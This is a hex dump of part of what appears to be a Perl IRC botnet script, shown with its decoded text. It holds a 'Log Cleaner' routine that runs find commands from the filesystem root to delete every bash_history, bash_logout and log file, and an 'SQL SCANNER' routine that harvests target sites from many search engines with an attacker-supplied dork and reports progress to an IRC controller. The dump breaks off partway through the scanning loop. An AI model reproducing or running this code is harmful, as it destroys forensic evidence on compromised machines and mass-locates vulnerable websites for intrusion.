25984:	03	34	40	03	33	4C	6F	67	2D	43	6C	65	61	6E	65	72	02	03	31	32	5D	20	20	4C	6F	67	43	6C	65	61	6E	65	4@3Log-Cleaner12] LogCleane
26016:	72	20	3A	2E	20	7C	20	20	41	6C	6C	20	64	65	66	61	75	6C	74	20	6C	6F	67	20	61	6E	64	20	62	61	73	68	r :. \| All default log and bash
26048:	5F	68	69	73	74	6F	72	79	20	66	69	6C	65	73	20	65	72	61	73	65	64	22	29	3B	0D	0A	20	20	20	20	20	20	_history files erased");
26080:	73	6C	65	65	70	20	31	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	sleep 1; sendraw($IRC_cur_socke
26112:	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4C	t, "PRIVMSG $printl :12[4@3L
26144:	6F	67	2D	43	6C	65	61	6E	65	72	02	03	31	32	5D	20	20	4C	6F	67	43	6C	65	61	6E	65	72	20	3A	2E	20	7C	og-Cleaner12] LogCleaner :. \|
26176:	20	20	4E	6F	77	20	45	72	61	73	69	6E	67	20	74	68	65	20	72	65	73	74	20	6F	66	20	74	68	65	20	6D	61	Now Erasing the rest of the ma
26208:	63	68	69	6E	65	20	6C	6F	67	20	66	69	6C	65	73	22	29	3B	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	66	chine log files"); system 'f
26240:	69	6E	64	20	2F	20	2D	6E	61	6D	65	20	2A	2E	62	61	73	68	5F	68	69	73	74	6F	72	79	20	2D	65	78	65	63	ind / -name *.bash_history -exec
26272:	20	72	6D	20	2D	72	66	20	7B	7D	20	5C	3B	27	3B	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	66	69	6E	64	rm -rf {} \;'; system 'find
26304:	20	2F	20	2D	6E	61	6D	65	20	2A	2E	62	61	73	68	5F	6C	6F	67	6F	75	74	20	2D	65	78	65	63	20	72	6D	20	/ -name *.bash_logout -exec rm
26336:	2D	72	66	20	7B	7D	20	5C	3B	27	3B	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	66	69	6E	64	20	2F	20	2D	-rf {} \;'; system 'find / -
26368:	6E	61	6D	65	20	22	6C	6F	67	2A	22	20	2D	65	78	65	63	20	72	6D	20	2D	72	66	20	7B	7D	20	5C	3B	27	3B	name "log*" -exec rm -rf {} \;';
26400:	0D	0A	20	20	20	73	79	73	74	65	6D	20	27	66	69	6E	64	20	2F	20	2D	6E	61	6D	65	20	2A	2E	6C	6F	67	20	system 'find / -name *.log
26432:	2D	65	78	65	63	20	72	6D	20	2D	72	66	20	7B	7D	20	5C	3B	27	3B	0D	0A	20	20	20	20	20	20	73	6C	65	65	-exec rm -rf {} \;'; slee
26464:	70	20	31	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	p 1; sendraw($IRC_cur_socket, "
26496:	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4C	6F	67	2D	43	PRIVMSG $printl :12[4@3Log-C
26528:	6C	65	61	6E	65	72	02	03	31	32	5D	20	20	4C	6F	67	43	6C	65	61	6E	65	72	20	3A	2E	20	7C	20	20	44	6F	leaner12] LogCleaner :. \| Do
26560:	6E	65	21	20	41	6C	6C	20	6C	6F	67	73	20	65	72	61	73	65	64	22	29	3B	0D	0A	20	20	20	20	20	20	7D	0D	ne! All logs erased"); }
26592:	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	45	6E	64	20	6F	###################### # End o
26624:	66	20	4C	6F	67	20	43	6C	65	61	6E	65	72	20	23	20	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	f Log Cleaner # ##############
26656:	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	######## ######################
26688:	0D	0A	23	20	20	20	20	20	20	20	20	20	20	20	20	20	20	53	51	4C	20	53	43	41	4E	4E	45	52	20	20	20	20	# SQL SCANNER
26720:	20	20	20	20	20	20	20	20	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	# ###################
26752:	23	23	23	0D	0A	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	73	71	6C	32	5C	73	2B	### if ($funcarg =~ /^sql2\s+
26784:	28	2E	2A	3F	29	5C	73	2B	28	2E	2A	29	5C	73	2B	28	5C	64	2B	29	2F	29	7B	0D	0A	20	20	20	69	66	20	28	(.?)\s+(.)\s+(\d+)/){ if (
26816:	6D	79	20	24	70	69	64	20	3D	20	66	6F	72	6B	29	20	7B	0D	0A	20	20	20	20	20	20	77	61	69	74	70	69	64	my $pid = fork) { waitpid
26848:	28	24	70	69	64	2C	20	30	29	3B	0D	0A	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	69	($pid, ); } else { i
26880:	66	20	28	6D	79	20	24	64	3D	66	6F	72	6B	28	29	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	61	64	64	f (my $d=fork()) { add
26912:	70	72	6F	63	28	24	64	2C	22	5B	53	51	4C	32	5D	20	24	32	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	proc($d,"[SQL2] $2");
26944:	65	78	69	74	3B	0D	0A	20	20	20	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	exit; } else {
26976:	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	24	62	75	67	3D	24	31	3B	0D	0A	20	20	20	20	20	20	20	20	my $bug=$1;
27008:	20	6D	79	20	24	64	6F	72	6B	3D	24	32	3B	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	24	63	6F	6E	74	my $dork=$2; my $cont
27040:	61	74	6F	72	65	3D	30	3B	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	28	24	74	79	70	65	2C	24	73	70	atore= ; my ($type,$sp
27072:	61	63	65	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	25	68	6F	73	74	73	3B	0D	0A	20	20	20	20	ace); my %hosts;
27104:	20	20	20	20	20	6D	79	20	24	63	6F	6C	75	6D	6E	73	3D	24	33	3B	0D	0A	20	20	20	20	20	20	20	20	20	0D	my $columns=$3;
27136:	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	23	23	20	53	74	61	### Sta
27168:	72	74	20	4D	65	73	73	61	67	65	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	rt Message
27200:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
27232:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	IVMSG $printl :12[4@3SQL-Sca
27264:	6E	6E	65	72	02	03	31	32	5D	20	53	74	61	72	74	69	6E	67	20	53	63	61	6E	20	66	6F	72	20	03	34	24	62	nner12] Starting Scan for 4$b
27296:	75	67	20	24	64	6F	72	6B	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	ug $dork");
27328:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
27360:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	RIVMSG $printl :12[4@3SQL-Sc
27392:	61	6E	6E	65	72	02	03	31	32	5D	20	49	6E	69	74	69	61	6C	69	7A	69	6E	67	20	6F	6E	20	03	34	35	20	03	anner12] Initializing on 45
27424:	31	32	53	65	61	72	63	68	20	45	6E	67	69	6E	65	73	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	12Search Engines ");
27456:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	23	23	20	45	6E	64	20	6F	66	20	53	74	61	72	74	20	4D	### End of Start M
27488:	65	73	73	61	67	65	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	23	20	53	74	61	72	74	69	6E	67	20	47	essage # Starting G
27520:	6F	6F	67	6C	65	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	67	6C	69	73	74	3D	26	67	6F	oogle my @glist=&go
27552:	6F	67	6C	65	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	ogle($dork);
27584:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
27616:	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	02	1F	03	37	5B	02	03	34	40	03	33	53	51	4C	2D	53	PRIVMSG $printl 7[4@3SQL-S
27648:	63	61	6E	6E	65	72	02	03	31	32	5D	02	1F	03	20	02	03	32	47	03	34	6F	03	38	6F	03	32	67	03	33	6C	03	canner12] 2G4o8o2g3l
27680:	34	65	03	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	67	6C	69	73	74	29	2E	22	02	1F	4e 7[".scalar(@glist)."
27712:	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	7] Sites");
27744:	20	20	20	20	20	20	20	20	20	6D	79	20	40	6D	6C	69	73	74	3D	26	6D	73	6E	28	24	64	6F	72	6B	29	3B	0D	my @mlist=&msn($dork);
27776:	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	61	73	6B	my @ask
27808:	6C	69	73	74	3D	26	61	73	6B	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	list=&ask($dork);
27840:	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	61	6C	6C	69	73	74	3D	26	61	6C	6C	74	68	65	77	65	62	my @allist=&alltheweb
27872:	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	($dork);
27904:	20	20	6D	79	20	40	61	6F	6C	6C	69	73	74	3D	26	61	6F	6C	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	my @aollist=&aol($dork);
27936:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	6C	79	63	6F	73	3D	26	6C	my @lycos=&l
27968:	79	63	6F	73	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	ycos($dork);
28000:	20	20	20	20	20	20	6D	79	20	40	79	6C	69	73	74	3D	26	79	61	68	6F	6F	28	24	64	6F	72	6B	29	3B	0D	0A	my @ylist=&yahoo($dork);
28032:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	6D	7A	6C	69	my @mzli
28064:	73	74	3D	26	6D	6F	7A	62	6F	74	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	st=&mozbot($dork);
28096:	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	6D	61	6D	61	6C	69	73	74	26	6D	61	6D	6D	61	28	24	my @mamalist&mamma($
28128:	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	dork);
28160:	6D	79	20	40	68	6C	69	73	74	3D	26	68	6F	74	62	6F	74	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	my @hlist=&hotbot($dork);
28192:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	61	6C	74	6C	69	73	74	3D	26	my @altlist=&
28224:	61	6C	74	61	76	69	73	74	61	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	altavista($dork);
28256:	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	73	6C	69	73	74	3D	26	73	65	61	72	63	68	28	24	64	6F	my @slist=&search($do
28288:	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	rk); my
28320:	20	40	75	6C	69	73	74	3D	26	75	6F	6C	28	24	64	6F	72	6B	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	@ulist=&uol($dork);
28352:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	66	69	72	65	62	61	6C	6C	3D	26	66	69	72	65	my @fireball=&fire
28384:	62	61	6C	6C	28	24	64	6F	72	6B	29	3B	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	ball($dork); sen
28416:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
28448:	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	printl :4[4@3SQL-Scanner12
28480:	5D	03	31	32	02	1F	03	20	02	03	32	47	03	34	6F	03	38	6F	03	32	67	03	33	6C	03	34	65	03	20	02	1F	03	]12 2G4o8o2g3l4e
28512:	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	67	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	7[".scalar(@glist)."7]
28544:	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	Sites"); sendraw($I
28576:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
28608:	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	4D	:4[4@3SQL-Scanner12]12 M
28640:	53	4E	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	6D	6C	69	73	74	29	2E	22	02	1F	03	SN 7[".scalar(@mlist)."
28672:	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	7] Sites"); send
28704:	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	raw($IRC_cur_socket, "PRIVMSG $p
28736:	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	rintl :4[4@3SQL-Scanner12]
28768:	03	31	32	20	03	41	6C	6C	54	68	65	57	65	62	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	12 AllTheWeb 7[".scalar(
28800:	40	61	6C	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	@allist)."7] Sites");
28832:	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	sendraw($IRC_cur_socket
28864:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	, "PRIVMSG $printl :4[4@3SQL
28896:	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	41	73	6B	2E	63	6F	6D	20	02	1F	03	37	5B	03	-Scanner12]12 Ask.com 7[
28928:	02	1F	22	2E	73	63	61	6C	61	72	28	40	61	73	6B	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	".scalar(@asklist)."7] S
28960:	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	ites"); sendraw($IR
28992:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
29024:	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	41	4F	4[4@3SQL-Scanner12]12 AO
29056:	4C	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	61	6F	6C	6C	69	73	74	29	2E	22	02	1F	L 7[".scalar(@aollist)."
29088:	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	7] Sites"); sen
29120:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
29152:	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	printl :4[4@3SQL-Scanner12
29184:	5D	03	31	32	20	03	4C	79	63	6F	73	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	6C	79	]12 Lycos 7[".scalar(@ly
29216:	63	6F	73	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	cos)."7] Sites");
29248:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
29280:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	RIVMSG $printl :4[4@3SQL-Sca
29312:	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	59	61	68	6F	6F	21	20	02	1F	03	37	5B	03	02	1F	22	2E	73	nner12]12 Yahoo! 7[".s
29344:	63	61	6C	61	72	28	40	79	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	calar(@ylist)."7] Sites");
29376:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	sendraw($IRC_cur_s
29408:	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	ocket, "PRIVMSG $printl :4[4@
29440:	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	4D	6F	7A	42	6F	74	20	02	1F	3SQL-Scanner12]12 MozBot
29472:	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	6D	7A	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	7[".scalar(@mzlist)."7]
29504:	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	Sites"); sendraw(
29536:	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	$IRC_cur_socket, "PRIVMSG $print
29568:	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	l :4[4@3SQL-Scanner12]12
29600:	03	4D	61	6D	61	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	6D	61	6D	61	6C	69	73	74	Mama 7[".scalar(@mamalist
29632:	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	)."7] Sites");
29664:	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	sendraw($IRC_cur_socket, "PRIV
29696:	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	MSG $printl :4[4@3SQL-Scanne
29728:	72	02	03	31	32	5D	03	31	32	20	03	48	6F	74	42	6F	74	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	r12]12 HotBot 7[".scal
29760:	61	72	28	40	68	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	ar(@hlist)."7] Sites");
29792:	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	sendraw($IRC_cur_sock
29824:	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	et, "PRIVMSG $printl :4[4@3S
29856:	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	41	6C	74	61	76	69	73	74	61	20	02	1F	QL-Scanner12]12 Altavista
29888:	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	61	6C	74	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	7[".scalar(@altlist)."7]
29920:	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	Sites"); sendraw
29952:	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	($IRC_cur_socket, "PRIVMSG $prin
29984:	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	tl :4[4@3SQL-Scanner12]12
30016:	20	03	53	65	61	72	63	68	5B	64	6F	74	5D	63	6F	6D	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	Search[dot]com 7[".scala
30048:	72	28	40	73	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	r(@slist)."7] Sites");
30080:	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	sendraw($IRC_cur_socke
30112:	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	53	51	t, "PRIVMSG $printl :4[4@3SQ
30144:	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	55	6F	4C	20	02	1F	03	37	5B	03	02	1F	22	L-Scanner12]12 UoL 7["
30176:	2E	73	63	61	6C	61	72	28	40	75	6C	69	73	74	29	2E	22	02	1F	03	37	5D	03	02	1F	20	53	69	74	65	73	22	.scalar(@ulist)."7] Sites"
30208:	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	); sendraw($IRC_cur
30240:	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	5B	02	03	_socket, "PRIVMSG $printl :4[
30272:	34	40	03	33	53	51	4C	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	03	31	32	20	03	46	69	72	65	42	61	6C	4@3SQL-Scanner12]12 FireBal
30304:	6C	20	02	1F	03	37	5B	03	02	1F	22	2E	73	63	61	6C	61	72	28	40	66	6C	69	73	74	29	2E	22	02	1F	03	37	l 7[".scalar(@flist)."7
30336:	5D	03	02	1F	20	53	69	74	65	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	] Sites");
30368:	20	20	20	20	20	20	20	20	20	70	75	73	68	28	6D	79	20	40	74	6F	74	2C	20	40	67	6C	69	73	74	2C	20	40	push(my @tot, @glist, @
30400:	6D	6C	69	73	74	2C	20	40	61	6C	69	73	74	2C	20	40	61	6C	6C	69	73	74	2C	20	40	61	73	6B	6C	69	73	74	mlist, @alist, @allist, @asklist
30432:	2C	20	40	61	6F	6C	6C	69	73	74	2C	20	40	6C	79	63	6F	73	2C	20	40	79	6C	69	73	74	2C	20	40	6D	7A	6C	, @aollist, @lycos, @ylist, @mzl
30464:	69	73	74	2C	20	40	6D	61	6D	61	6C	69	73	74	2C	20	40	68	6C	69	73	74	2C	40	61	6C	74	6C	69	73	74	2C	ist, @mamalist, @hlist,@altlist,
30496:	20	40	73	6C	69	73	74	2C	20	40	75	6C	69	73	74	2C	20	40	66	6C	69	73	74	20	29	3B	0D	0A	20	20	20	20	@slist, @ulist, @flist );
30528:	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	sendraw($I
30560:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
30592:	3A	03	34	2C	31	36	20	5B	20	73	63	61	6E	20	5D	20	03	5B	20	03	31	32	46	69	6C	74	72	75	6A	65	03	34	:4,16 [ scan ] [ 12Filtruje4
30624:	20	5D	5B	20	22	2E	73	63	61	6C	61	72	28	40	74	6F	74	29	2E	22	20	03	31	32	53	74	72	6F	6E	03	34	20	][ ".scalar(@tot)." 12Stron4
30656:	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	40	70	75	6C	69	74	69	3D	26	75	] "); my @puliti=&u
30688:	6E	69	63	69	28	40	74	6F	74	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	nici(@tot);
30720:	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
30752:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	36	20	5B	20	53	51	4C	20	5D	20	"PRIVMSG $printl :4,16 [ SQL ]
30784:	03	5B	20	03	31	32	24	64	6F	72	6B	03	34	20	5D	5B	20	22	2E	73	63	61	6C	61	72	28	40	70	75	6C	69	74	[ 12$dork4 ][ ".scalar(@pulit
30816:	69	29	2E	22	20	03	31	32	53	74	72	6F	6E	03	34	20	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	i)." 12Stron4 ] ");
30848:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	75	6E	69	3D	73	63	61	6C	61	72	28	40	70	75	my $uni=scalar(@pu
30880:	6C	69	74	69	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	liti);
30912:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	66	6F	72	65	61	63	68	20	6D	79	20	24	73	69	74	6F	20	28	foreach my $sito (
30944:	40	70	75	6C	69	74	69	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	@puliti) {
30976:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	63	6F	6E	74	61	74	6F	72	65	2B	2B	3B	0D	0A	20	20	20	$contatore++;
31008:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	69	66	20	28	24	63	6F	6E	74	61	74	6F	72	65	20	if ($contatore
31040:	25	35	3D	3D	30	29	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	%5== ){
31072:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	sendraw($IRC_cur_socket, "PRIVMS
31104:	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	36	20	5B	20	73	63	61	6E	20	5D	20	03	5B	20	03	31	32	G $printl :4,16 [ scan ] [ 12
31136:	53	6B	61	6E	75	6A	65	03	34	20	5D	5B	20	22	2E	24	63	6F	6E	74	61	74	6F	72	65	2E	22	20	03	31	32	7A	Skanuje4 ][ ".$contatore." 12z
31168:	03	34	20	22	2E	24	75	6E	69	2E	20	22	20	03	31	32	53	74	72	6F	6E	03	34	20	5D	20	22	29	3B	0D	0A	20	4 ".$uni. " 12Stron4 ] ");
31200:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	}
31232:	20	20	20	20	20	20	20	20	73	6C	65	65	70	20	33	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	sleep 3;
31264:	20	20	20	20	20	20	69	66	20	28	24	63	6F	6E	74	61	74	6F	72	65	3D	3D	24	75	6E	69	2D	31	29	7B	0D	0A	if ($contatore==$uni-1){
